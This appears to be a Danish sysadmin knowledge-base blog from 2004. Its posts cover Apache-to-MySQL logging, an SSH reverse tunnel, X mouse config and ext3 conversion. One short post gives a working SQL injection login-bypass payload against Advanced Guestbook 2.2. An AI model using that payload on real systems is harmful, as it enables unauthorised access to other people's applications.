sql til mod_sql_log

Udgivet den maj 18, 2004 af black 
smid mod_sql_log ind:
http://www.outoforder.cc/projects/apache/mod_log_sql/'

guide:
http://www.linux-mag.com/2002-10/lamp_01.html

sæt flg i mod_sql_log.conf:

LogSQLLoginInfo             localhost apache KoDe
LogSQLSocketFile            /var/run/mysql/mysql.sock
LogSQLDatabase              apache
LogSQLCreateTables          On
LogSQLMassVirtualHosting    On
LogSQLPreserveFile          apache_queries.sql

nice queries:

# sidste 30 besøg med lidt relevant data
SELECT remote_host, request_uri, bytes_sent, status, FROM_UNIXTIME(time_stamp) AS dato from access_blackthorne_dk ORDER BY dato DESC LIMIT 30;

# besøg fra forskellige IP adresser
SELECT COUNT(*) AS visits, SUM(bytes_sent) AS bytes, remote_host FROM access_blackthorne_dk GROUP BY remote_host;

# besøg i alt og bytes i alt
SELECT COUNT(*) AS visits, SUM(bytes_sent) AS bytes FROM access_blackthorne_dk;

# besøg den sidste time
SELECT COUNT(*) FROM access_blackthorne_dk WHERE time_stamp BETWEEN UNIX_TIMESTAMP(NOW()) - 86400 AND UNIX_TIMESTAMP(NOW());

# besøg denne måned
SELECT COUNT(*) FROM access_blackthorne_dk WHERE MONTH(FROM_UNIXTIME(time_stamp)) = MONTH(NOW());
Udgivet i Apache, Knowledge Base, Old Base, SQL | Skriv en kommentar

Apache (2.x) logfiler i MySQL

Udgivet den maj 18, 2004 af mike 
Flg, får apache til at formattere logen og parse den til stdin på mysqllog.pl

CustomLog "| /usr/bin/mysqllog.pl" mysql
LogFormat "%h#%v#%U#%{User-agent}i#%{Referer}i#%s#%b#%r" mysql


Mysqllog parser så input til mysql:
#!/usr/bin/perl
# script: mysqllog
use DBI;
use constant DSN => 'dbi:mysql:system';
use constant DB_TABLE => 'access_log';
use constant DB_USER => 'root';
use constant DB_PASSWD => '--';

$db = DBI->connect(DSN,DB_USER,DB_PASSWD) || die DBI->errstr;
$sth = $db->prepare("INSERT INTO weblog (`remotehost`,`virtualhost`,`path`,`agent`,`referer`,`status`,`size`,`request`,`time`)
 VALUES(?,?,?,?,?,?,?,?,?)")
|| die $db->errstr;

while (<>) {
chomp;
@dat=split("#");
$sth->execute(@dat[0],@dat[1],@dat[2],@dat[3],@dat[4],@dat[5],@dat[6],@dat[7],time());
}
$sth->finish;
$db->disconnect;
Udgivet i Apache, Knowledge Base, Old Base | Skriv en kommentar

tunnel specifik protocol out from NAT’ed hosts

Udgivet den maj 18, 2004 af mike 
root@chilibeans ~/dksback# ssh -l mike unifix.org -R 13306:127.0.0.1:3306
mike@unifix.org's password:

here chilibeans are behind a nat firewall and does not have a public ip, this make me able to contact chilibeans's mysql server from unifix.org by connecting to 127.0.0.1:13306

unifix# mysql -h 127.0.0.1 --port=13306 -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 73 to server version: 4.0.18

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>
Udgivet i Knowledge Base, Linux, Old Base | Skriv en kommentar

musehjul – scroll – i Xfree i linux

Udgivet den maj 16, 2004 af Kvm2k 
go fix: 

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "IMPS/2"
    Option "Device"      "/dev/psaux"

    Option "ZAxisMapping" "4 5"
Udgivet i Uncategorized | Skriv en kommentar

Musehjul – scroll – i Xfree i linux

Udgivet den maj 16, 2004 af Brian Lund Klint 
go fix: 

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "IMPS/2"
    Option "Device"      "/dev/psaux"

    Option "ZAxisMapping" "4 5"
Udgivet i Knowledge Base, Linux | Skriv en kommentar

Ipw2100 on FreeBSD

Udgivet den maj 16, 2004 af mike

http://damien.bergamini.free.fr/ipw/install.html

Udgivet i FreeBSD, Links | Skriv en kommentar

Ipw2100 on FreeBSD

Udgivet den maj 16, 2004 af Brian Lund Klint

http://damien.bergamini.free.fr/ipw/install.html

Udgivet i FreeBSD, Knowledge Base | Skriv en kommentar

Penetrating Advanced Guestbook 2.2

Udgivet den maj 4, 2004 af mike 
vuln. to sql injection, use following as password and blank username:


<code> ') OR ('a' = 'a </code>
Udgivet i Knowledge Base, SQL | Skriv en kommentar

converting ext2 to ext3 by adding a journal

Udgivet den april 29, 2004 af black 
for all partitions run:
tune2fs -j /dev/hdXX

remember to edit fstab, filetype to ext3, and remount to activate journal...
Udgivet i Knowledge Base, Linux, Old Base | Skriv en kommentar

Microsoft Developer Network

Udgivet den april 28, 2004 af mike

http://msdn.microsoft.com/library/default.asp http://www.online-admin.com/ntset.html#TNTUserMan

Udgivet i Windows | Skriv en kommentar